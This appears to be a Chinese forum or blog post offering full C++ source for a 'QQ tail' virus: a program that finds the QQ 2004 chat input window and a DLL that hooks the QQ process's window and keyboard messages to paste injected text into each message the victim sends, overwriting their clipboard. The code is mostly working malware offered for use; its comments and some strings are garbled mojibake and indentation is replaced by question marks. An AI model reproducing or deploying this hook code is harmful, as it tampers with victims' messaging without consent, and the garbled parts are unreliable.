QQ2004的Rich句柄查找方法以及尾巴病毒的实现

看到好多人都在问QQ方面的问题，主要是关于研究QQ尾巴的问题，网络上已经有很多这方面的例子，但是在用到作者提供的代码时候，不能够正确的找到RICHEDIT，因此无法挂接钩子，下面这个方法，应该是可以，同时附带上qqhook的源代码。

其实关键是2004版本的qq它做了手脚，在原来的窗体上又增加了一个窗体，因此，用原作者的方法就不能找到rich窗口的句柄了。

测试cpp

#include
//#include

#include "QQHook.h"
#pragma comment(lib, "QQHook.lib")
#include "resource.h"
#define ID_MYTIMER 419 // ¼ÆʱÆ÷ID
BOOL g_bStart;
HWND g_hQQ;
LRESULT CALLBACK ProcMain(HWND hDlg, UINT Msg, WPARAM wParam, LPARAM lParam)
{
? switch (Msg)
? {
? case WM_CLOSE:
?//?? AnimateWindow(hDlg, 800, AW_HIDE | AW_SLIDE | AW_VER_POSITIVE);
??? EndDialog(hDlg, 0);
??? break;
? case WM_COMMAND:
??? {
????? if (LOWORD(wParam) == IDC_BTN_CONTROL)
????? {
??????? g_bStart = !g_bStart;
??????? SetDlgItemText(hDlg, IDC_BTN_CONTROL, g_bStart ? "Í£Ö¹" : "¿ªÊ¼");
??????? if (g_bStart)
????????? SetTimer(hDlg, ID_MYTIMER, 1000, NULL);
??????? else
??????? {
????????? KillTimer(hDlg, ID_MYTIMER);
????????? SetHook(NULL);
??????? }
????? }
????? if (LOWORD(wParam) == IDC_BTN_EXIT)
??????? SendMessage(hDlg, WM_CLOSE, 0, 0);
??? }
??? break;
? case WM_DESTROY:
??? PostQuitMessage(0);
??? break;
? case WM_INITDIALOG:
??? {
????? int x, y;
????? RECT rect;
????? g_bStart = FALSE;
????? GetWindowRect(hDlg, &rect);
????? x = GetSystemMetrics(SM_CXSCREEN) - rect.right + rect.left;
????? y = GetSystemMetrics(SM_CYMAXIMIZED) - rect.bottom + rect.top - 10;
????? SetWindowPos(hDlg, HWND_TOPMOST, x, y, 0, 0, SWP_NOSIZE | SWP_NOZORDER);
?? //?? AnimateWindow(hDlg, 800, AW_SLIDE | AW_VER_NEGATIVE);
??? }
??? break;
? case WM_TIMER:
??? {
????? if (!IsWindow(g_hQQ))
????? {???????
??????? HWND hwnd;
??HWND hSend;
??//?CWnd *myWnd;
??int nIdFirst;
??int flag;
??char lpbuf[256];
??//??DWORD a;
??????? g_hQQ = NULL;
??hwnd=NULL;
??hSend=NULL;
??????? SetHook(NULL);
??//? do
??//? {
??//??? g_hQQ = FindWindowEx(NULL, g_hQQ, "#32770", NULL);???
??
??//?? GetWindowText(g_hQQ,lpbuf,255);?
??
??//? if(strcmp(lpbuf,"Óë ·É ÁÄÌìÖÐ")==0)break;
??//?? hSend = FindWindowEx(g_hQQ,NULL, "Button", "·¢ËÍ(&S)");??
??
??//? } while(!(g_hQQ != NULL && hSend != NULL));
??nIdFirst=0;
??flag=0;
??while(1)
??{
???g_hQQ=FindWindowEx(NULL, g_hQQ, "#32770", NULL);
???if(g_hQQ==NULL)break;
???GetWindowText(g_hQQ,lpbuf,256);???
???hwnd=GetWindow(g_hQQ,GW_CHILD);

???if(hwnd||::IsWindow(hwnd))
???{
????nIdFirst=GetDlgCtrlID(hwnd);
????do
????{
?????GetClassName(hwnd,lpbuf,256);???
?????if(strcmp(lpbuf,"#32770")==0)
?????{
??????hSend=FindWindowEx(hwnd,hSend,"Button","·¢ËÍ(&S)");
??????if(hSend)
??????{
???????flag=1;
???????g_hQQ=hwnd;
???????break;
??????}
?????}
?????GetWindowText(hwnd,lpbuf,256);???
?????hwnd=::GetWindow(hwnd,GW_HWNDNEXT);??
?????if(!::IsWindow(hwnd) || hwnd==NULL)??break;
????}while(nIdFirst != GetDlgCtrlID(hwnd));?
???}?
???if(flag)break;
??}
??????? if (g_hQQ != NULL)
????????? SetHook(g_hQQ);
????? }
??? }
??? break;
? }
? return 0;
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
? DialogBoxParam(hInstance, MAKEINTRESOURCE(IDD_DIALOG), NULL, (DLGPROC)ProcMain, 0);
? DWORD a=GetLastError();
? return 0;
}

?

qq hook 源代码

cpp文件

#include
#define QQTAILAPI __declspec(dllexport)
#include "QQHook.h"
// ¶¨Òå¹²ÏíÊý¾Ý¶Î
#pragma data_seg("shared")
HHOOK g_hProc = NULL; // ´°¿Ú¹ý³Ì¹³×Ó¾ä±ú
HHOOK g_hKey = NULL; // ¼üÅ̹³×Ó¾ä±ú
HWND g_hRich = NULL; // Îı¾¿ò¾ä±ú
#pragma data_seg()
#pragma comment(linker, "/section:shared,rws")
// DLL¾ä±ú
HINSTANCE g_hInstDLL = NULL;
// Îҵġ°Î²°Í¡±
TCHAR g_str[] = "/n¶Ô²»Æð£¬ÄúÒѾ-±»½ûÖ¹ÁÄÌ죡";
// º¯Êý¹¦ÄÜ£ºÏòÎı¾¿òÖÐÕ³Ìùβ°Í
void PasteText(HWND hRich)
{
? HGLOBAL hMem;
? LPTSTR pStr;
? // ·ÖÅäÄÚ´æ¿Õ¼ä
? //SendMessage(hRich,WM_SETTEXT,0,LPARAM(""));
? hMem = GlobalAlloc(GHND | GMEM_SHARE, sizeof(g_str));
? pStr = (LPTSTR)GlobalLock(hMem);
? lstrcpy(pStr, g_str);?
? GlobalUnlock(hMem);
? OpenClipboard(NULL);
? EmptyClipboard();
? // ÉèÖüôÌù°åÎı¾
? SetClipboardData(CF_TEXT, hMem);
? CloseClipboard();
? // ÊÍ·ÅÄÚ´æ¿Õ¼ä
? GlobalFree(hMem);
? // Õ³ÌùÎı¾
? SendMessage(hRich, WM_PASTE, 0, 0);
}
// ¹³×Ó¹ý³Ì£¬¼àÊÓ¡°·¢ËÍ¡±µÄÃüÁîÏûÏ¢
LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam)
{
? CWPSTRUCT *p = (CWPSTRUCT *)lParam;
? // ²¶»ñ¡°·¢ËÍ¡±°´Å¥
? if (p->message == WM_COMMAND && LOWORD(p->wParam) == 1)
??? PasteText(g_hRich);
? return CallNextHookEx(g_hProc, nCode, wParam, lParam);
}
// ¼üÅ̹³×Ó¹ý³Ì£¬¼àÊÓ¡°·¢ËÍ¡±µÄÈȼüÏûÏ¢
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
? // ²¶»ñÈȼüÏûÏ¢
? if (wParam == VK_RETURN && GetAsyncKeyState(VK_CONTROL) < 0 && lParam >= 0)
??? PasteText(g_hRich);
? return CallNextHookEx(g_hKey, nCode, wParam, lParam);
}
// ¹Ò½Ó¹³×Ó
BOOL WINAPI SetHook(HWND hQQ)
{
? BOOL bRet = FALSE;
? if (hQQ != NULL)
? {
??? DWORD dwThreadID = GetWindowThreadProcessId(hQQ, NULL);
??? // ¸ÐлºÃÓÑhotteyµÄ²éÕÒ´úÂ룬ʡȥÁËÎÒʹÓÃSpy++µÄÂé·³
??? g_hRich = GetWindow(GetDlgItem(hQQ, 0), GW_CHILD);
??? if (g_hRich == NULL)
????? return FALSE;
??? // ¹Ò½Ó¹³×Ó
??? g_hProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, g_hInstDLL, dwThreadID);
??? g_hKey = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstDLL, dwThreadID);
??? bRet = (g_hProc != NULL) && (g_hKey != NULL);
? }
? else
? {
??? // жÔع³×Ó
??? bRet = UnhookWindowsHookEx(g_hProc) && UnhookWindowsHookEx(g_hKey);
??? g_hProc = NULL;
??? g_hKey = NULL;
??? g_hRich = NULL;
? }
? return bRet;
}
// DLLÖ÷º¯Êý
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
? if (fdwReason == DLL_PROCESS_ATTACH)
??? g_hInstDLL = hinstDLL;
? return TRUE;
}

?

头文件

#ifndef QQTAILAPI
#define QQTAILAPI __declspec(dllimport)
#endif
QQTAILAPI BOOL WINAPI SetHook(HWND hQQ);

?